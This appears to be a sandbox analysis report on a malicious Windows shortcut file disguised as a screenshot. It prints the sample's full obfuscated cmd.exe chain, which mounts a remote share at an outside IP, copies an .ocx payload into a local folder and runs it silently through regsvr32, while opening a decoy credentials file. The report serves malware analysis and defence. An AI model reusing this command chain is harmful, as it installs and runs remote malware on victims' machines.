Analysis
- max time kernel
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
17/05/2026, 00:13
General
- Target Screenshot_2026_05_11.lnk
- Size 2KB
- Sample260517-ahws9aev2p
- SHA256 3c2e9e4ffb086525b28a7dc4ed3000deafee1cbad5eba3e26a9f9d4136973515
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs net.exe
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Screenshot_2026_05_11.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v /c "set vtda6ObB=s^e&& !vtda6ObB!t "vwAf=0" &&!vtda6ObB!t "ygRz=1" &&!vtda6ObB!t "pvXJ=3" &&!vtda6ObB!t "GgMJ=7" &&!vtda6ObB!t "wBkp=8" &&!vtda6ObB!t "OJHG=9" &&!vtda6ObB!t "MFwR=l" &&!vtda6ObB!t "ITAW=d" &&!vtda6ObB!t "hkKG=a" &&!vtda6ObB!t "dWNT=o" &&!vtda6ObB!t "tMMO=x" &&!vtda6ObB!t "HzaL=t" &&!vtda6ObB!t "RjWA=n" &&!vtda6ObB!t "bnzM=g" &&!vtda6ObB!t "tmmB=s" &&!vtda6ObB!t "jvZu=." &&!vtda6ObB!t "JpAG=e" &&!vtda6ObB!t "zLaC=y" &&!vtda6ObB!t "Xmap=r" &&!vtda6ObB!t "lOzy=v" &&!vtda6ObB!t "hKgEzPZl=\\70.34.2!vwAf!5.4!pvXJ!@8080\c!MFwR!ou!ITAW!\" && c!hkKG!l!MFwR! !vtda6ObB!t "DledTlky=up!ITAW!ater.!dWNT!c!tMMO!" && ca!MFwR!!MFwR! !vtda6ObB!t "!MFwR!oca!HzaL!i!dWNT!!RjWA!_t="%!MFwR!oc!hkKG!lappdata%\P!hkKG!cka!bnzM!e!tmmB!\9!wBkp!!OJHG!27!ygRz!9!GgMJ!951!GgMJ!25817!ygRz!4.ocx!jvZu!!dWNT!c!tMMO!"" && n!JpAG!t u!tmmB!!JpAG! !hKgEzPZl! && cop!zLaC! !hKgEzPZl!!DledTlky! !location_t! && st!hkKG!!Xmap!t /b re!bnzM!!tmmB!!lOzy!r32 /!tmmB! /i !hKgEzPZl!!DledTlky! & sta!Xmap!t !hKgEzPZl!Credentials.txt "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\net.exenet use \\70.34.205.43@8080\cloud\3⤵
-
-